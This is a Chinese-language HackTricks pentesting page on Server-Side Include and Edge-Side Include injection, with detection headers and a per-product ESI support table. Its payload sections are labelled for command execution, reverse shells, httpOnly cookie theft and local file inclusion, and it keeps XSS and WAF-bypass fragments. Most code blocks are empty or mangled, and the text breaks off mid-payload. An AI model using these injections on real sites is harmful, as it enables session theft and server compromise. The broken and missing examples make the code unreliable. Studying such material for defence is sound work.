# 服务器端包含/边缘端包含注入
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 服务器端包含基本信息
**(介绍摘自[Apache文档](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI(服务器端包含)是放置在HTML页面中的指令,**在服务器上进行评估**,而页面正在提供时。它们允许您**向现有HTML页面添加动态生成的内容**,而无需通过CGI程序或其他动态技术提供整个页面。\
例如,您可以将指令放入现有的HTML页面中,如:
``
当提供页面时,此片段将被评估并替换为其值:
`Tuesday, 15-Jan-2013 19:28:54 EST`
何时使用SSI,何时让页面完全由某个程序生成,通常取决于页面中有多少是静态的,有多少需要在每次提供页面时重新计算。SSI是向页面添加小块信息的绝佳方式,例如上面显示的当前时间。但如果页面的大部分是在提供时生成的,您需要寻找其他解决方案。
如果Web应用程序使用扩展名为\*\* `.shtml`、`.shtm`或`.stm` \*\*的文件,则可以推断存在SSI,但这并不是唯一的情况。
典型的SSI表达式具有以下格式:
```
```
### 检查
```javascript
// Document name
// Date
// File inclusion
// Including files (same directory)
// CGI Program results
// Including virtual files (same directory)
// Modification date of a file
// Command exec
// Command exec
// Reverse shell
// Print all variables
// Setting variables
```
## 边缘包含
在缓存信息或动态应用程序时可能会出现问题,因为内容的一部分可能会在下次检索内容时发生变化。这就是ESI的用途,通过使用ESI标记指示需要在发送缓存版本之前生成的动态内容。如果攻击者能够在缓存内容中注入ESI标记,那么他就可以在将文档发送给用户之前注入任意内容。
### ESI检测
从服务器响应中的以下标头表示服务器正在使用ESI:
```
Surrogate-Control: content="ESI/1.0"
```
如果您找不到此标头,则服务器**可能仍在使用ESI**。\
**也可以使用盲目利用方法**,因为请求应该发送到攻击者的服务器:
```javascript
// Basic detection
hello
// If previous is reflected as "hello", it's vulnerable
// Blind detection
// XSS Exploitation Example
// Cookie Stealer (bypass httpOnly flag)
// Introduce private local files (Not LFI per se)
// Valid for Akamai, sends debug information in the response
```
### ESI利用
[GoSecure创建了](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)一张表,以了解我们可以针对不同支持ESI的软件尝试的可能攻击,具体取决于支持的功能:
* **Includes**:支持``指令
* **Vars**:支持``指令。用于绕过XSS过滤器
* **Cookie**:文档cookie可被ESI引擎访问
* **需要上游标头**:除非上游应用程序提供标头,否则代理应用程序将不会处理ESI语句
* **主机白名单**:在这种情况下,只有允许的服务器主机才能进行ESI包含,例如,只有对这些主机才可能进行SSRF
| **软件** | **Includes** | **Vars** | **Cookies** | **需要上游标头** | **主机白名单** |
| :----------------------: | :----------: | :------: | :---------: | :--------------: | :------------: |
| Squid3 | 是 | 是 | 是 | 是 | 否 |
| Varnish Cache | 是 | 否 | 否 | 是 | 是 |
| Fastly | 是 | 否 | 否 | 否 | 是 |
| Akamai ESI 测试服务器 (ETS) | 是 | 是 | 是 | 否 | 否 |
| NodeJS esi | 是 | 是 | 是 | 否 | 否 |
| NodeJS nodesi | 是 | 否 | 否 | 否 | 可选的 |
#### XSS
以下ESI指令将在服务器响应中加载任意文件
```xml
```
#### 绕过客户端 XSS 保护
```xml
x=>alert(/Chrome%20XSS%20filter%20bypass/);>
Use to bypass WAFs:
ipt>alert(1)ript>
error=alert(1)>
```
#### 窃取 Cookie
* 远程窃取 cookie
```xml
```
* 通过在响应中反射XSS来窃取HTTP\_ONLY cookie:
```bash
# This will reflect the cookies in the response
# Reflect XSS (you can put '">